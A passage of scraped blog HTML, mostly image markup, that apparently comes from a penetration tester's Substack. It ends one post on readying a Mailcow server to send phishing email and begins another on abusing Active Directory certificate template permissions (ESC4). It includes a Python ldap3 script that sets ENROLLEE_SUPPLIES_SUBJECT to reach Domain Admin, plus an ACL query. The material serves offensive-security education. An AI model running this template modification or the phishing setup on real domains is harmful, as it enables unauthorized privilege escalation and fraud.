13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And voila! You&#8217;re ready to send some phishing emails though your Mailcow server! If you didn&#8217;t get 10/10 from mail-tester, click through the drop-down details to figure out the hang-up affecting your spam score.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ldPo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ldPo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png 424w, https://substackcdn.com/image/fetch/$s_!ldPo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png 848w, https://substackcdn.com/image/fetch/$s_!ldPo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png 1272w, https://substackcdn.com/image/fetch/$s_!ldPo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ldPo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png" width="780" height="429" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/601c25b0-adce-4639-b438-44a5103437d4_780x429.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:429,&quot;width&quot;:780,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:120638,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ldPo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png 424w, https://substackcdn.com/image/fetch/$s_!ldPo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png 848w, https://substackcdn.com/image/fetch/$s_!ldPo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png 1272w, https://substackcdn.com/image/fetch/$s_!ldPo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F601c25b0-adce-4639-b438-44a5103437d4_780x429.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>]]></content:encoded></item><item><title><![CDATA[ADCS: Playing with ESC4]]></title><description><![CDATA[ADCS has been a treasure trove for recent offensive operations while organizations are still catching up to the research released by Will (@harmj0y) and Lee (@tifkin_) back in June.]]></description><link>https://blog.tw1sm.io/p/adcs-playing-with-esc4</link><guid isPermaLink="false">https://blog.tw1sm.io/p/adcs-playing-with-esc4</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Mon, 20 Dec 2021 17:25:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/bb13e5d4-eda2-4477-9cd1-2620f2cecbe0_1083x758.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>ADCS has been a treasure trove for recent offensive operations while organizations are still catching up to the research released by Will (<a href="https://web.archive.org/web/20250915190745mp_/https://twitter.com/harmj0y">@harmj0y</a>) and Lee (<a href="https://web.archive.org/web/20250915190745mp_/https://twitter.com/tifkin_">@tifkin_</a>) back in June. Amazingly, enough escalation vectors were dropped that 5 months later I still haven&#8217;t found time to test and explore every one of them (suppose that means I&#8217;m still catching up too). Luckily, an ESC4 scenario prompted some digging into abusing ACL permissions to create vulnerable template states.</p><h4>The Scenario</h4><p>Let&#8217;s start off with template enumeration - my go-to tool for this from Kali is <a href="https://web.archive.org/web/20250915190745mp_/https://github.com/zer1t0/certi">certi.py</a>, which has a <code>list</code> command for enumeration. Sorting through the output for potential misconfigurations and escalation paths, I found a template on which <code>Domain Users</code> were granted enrollment rights AND WriteProperty permissions.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dhqn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dhqn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png 424w, https://substackcdn.com/image/fetch/$s_!dhqn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png 848w, https://substackcdn.com/image/fetch/$s_!dhqn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png 1272w, https://substackcdn.com/image/fetch/$s_!dhqn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dhqn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png" width="897" height="541" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:541,&quot;width&quot;:897,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!dhqn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png 424w, https://substackcdn.com/image/fetch/$s_!dhqn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png 848w, https://substackcdn.com/image/fetch/$s_!dhqn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png 1272w, https://substackcdn.com/image/fetch/$s_!dhqn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc19bab0-79e8-4344-b4ba-5bf69d8a6629_897x541.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>I thought myself pretty lucky at this point - with the WriteProperty permissions, I can find a way to add the <code>ENROLLEE_SUPPLIES_SUBJECT</code> flag on the right template property (<code>msPKI-Certificate-Name-Flag</code>) and I&#8217;ll have Domain Admin rights via ESC1 in no time.</p><p>Some quick googling turned up this <a href="https://web.archive.org/web/20250915190745mp_/https://gist.github.com/dmchell/5eb871f052db13dc38cbb902ea8fb50e">gist</a> from Dominic Chell (<a href="https://web.archive.org/web/20250915190745mp_/https://twitter.com/domchell">@domchell</a>). The C# code there allows for modification of the <code>msPKI-Enrollment-Flag</code> property. I made a quick port of the code to Python with some minor changes to target the right property for setting <code>ENROLLEE_SUPPLIES_SUBJECT</code>:</p><pre><code><code>from ldap3 import Server, Connection, BASE, NTLM, MODIFY_REPLACE

def main():
    server = Server(&#8217;10.4.2.20&#8217;)
    conn = Connection(server, user=&#8217;ez.lab\\matt&#8217;, password=&#8217;:)&#8217;, authentication=NTLM, auto_bind=True)
    conn.bind()

    dn = &#8216;CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ez,DC=lab&#8217;,

    conn.search(
        search_base = dn,
        search_filter = &#8216;(&amp;(objectClass=*))&#8217;,
        search_scope = BASE,
        attributes = &#8216;*&#8217;
    )

    ENROLLEE_SUPPLIES_SUBJECT = 1

    conn.modify(
        dn,
        {&#8217;msPKI-Certificate-Name-Flag&#8217;: [MODIFY_REPLACE, ENROLLEE_SUPPLIES_SUBJECT]}
    )

    print(conn.result)

    conn.unbind()

if __name__ == &#8216;__main__&#8217;:
    main()
</code></code></pre><p>&#8205; I executed the script, but was surprised when the result reported insufficient access rights.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!t6Bi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!t6Bi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png 424w, https://substackcdn.com/image/fetch/$s_!t6Bi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png 848w, https://substackcdn.com/image/fetch/$s_!t6Bi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png 1272w, https://substackcdn.com/image/fetch/$s_!t6Bi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!t6Bi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png" width="1456" height="110" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:110,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!t6Bi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png 424w, https://substackcdn.com/image/fetch/$s_!t6Bi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png 848w, https://substackcdn.com/image/fetch/$s_!t6Bi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png 1272w, https://substackcdn.com/image/fetch/$s_!t6Bi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe350c2d5-0171-45d9-8ce8-b4fc3049ebd8_2662x202.png 1456w" sizes="100vw"></picture><div></div></div></a></figure></div><h4>Investigating Why</h4><p>My impression was that WriteProperty permissions granted the ability to modify any attribute on the target object. After digging up some other <a href="https://web.archive.org/web/20250915190745mp_/https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf">documentation</a> on relevant topics, I found that this is not always the case. To figure out which object attributes <code>Domain Users</code> was granted WriteProperty permissions over, I&#8217;d have to query the object&#8217;s ACL. Easiest way to do this seemed to be PowerShell so I RDP&#8217;d to a domain joined machine and pulled the template&#8217;s ACL:</p><pre><code><code>Import-Module ActiveDirectory
(Get-Acl -Path &#8220;AD:CN=user,CN=certificate templates,CN=public key services,CN=services,CN=configuration,DC=ez,DC=lab&#8221;).Access
</code></code></pre><p>Among a whole list of ACEs returned, we see the ACE delegating WriteProperty permissions to the <code>Domain Users</code> group.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FnXd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FnXd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png 424w, https://substackcdn.com/image/fetch/$s_!FnXd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png 848w, https://substackcdn.com/image/fetch/$s_!FnXd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png 1272w, https://substackcdn.com/image/fetch/$s_!FnXd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FnXd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png" width="1456" height="783" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:783,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!FnXd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png 424w, https://substackcdn.com/image/fetch/$s_!FnXd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png 848w, https://substackcdn.com/image/fetch/$s_!FnXd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png 1272w, https://substackcdn.com/image/fetch/$s_!FnXd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fb2f347-79b4-4fac-8483-37b280fae3f1_1786x960.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The key here is the GUID listed in the ObjectType field. This is the identifier for the sole attribute we actually have WriteProperty permissions over. Quickly googling the shown <a href="https://web.archive.org/web/20250915190745mp_/https://docs.microsoft.com/en-us/windows/win32/adschema/a-mspki-oid-user-notice">GUID</a> reveals it corresponds to <code>ms-PKI-OID-User-Notice</code>, a property that&#8217;s relatively useless in our quest to create vulnerable template state.</p><p>It turned out this ESC4 route was a dead end on my pentest, but it prompted several questions on our offensive team:</p><ol><li><p>How can we query a cert template&#8217;s ACL from a non-domain joined Linux system?</p></li><li><p>Does something exist that allows for easy modification of certificate template objects so that we don&#8217;t need to dig up and edit Python/C# code the next time we see this?</p></li></ol><h4>modifyCertTemplate.py</h4><p>I ended up creating a Python <a href="https://web.archive.org/web/20250915190745mp_/https://github.com/fortalice/modifyCertTemplate">tool</a> to address those questions, which has come in handy on a few tests since its inception. Using it, we can return to checking the template&#8217;s ACL, without the baggage of finding somewhere suitable to run PowerShell:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1c2m!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1c2m!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png 424w, https://substackcdn.com/image/fetch/$s_!1c2m!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png 848w, https://substackcdn.com/image/fetch/$s_!1c2m!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png 1272w, https://substackcdn.com/image/fetch/$s_!1c2m!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1c2m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png" width="946" height="408" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f0103401-045d-4b16-bb3e-43617725c4bd_946x408.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:408,&quot;width&quot;:946,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!1c2m!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png 424w, https://substackcdn.com/image/fetch/$s_!1c2m!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png 848w, https://substackcdn.com/image/fetch/$s_!1c2m!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png 1272w, https://substackcdn.com/image/fetch/$s_!1c2m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0103401-045d-4b16-bb3e-43617725c4bd_946x408.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" 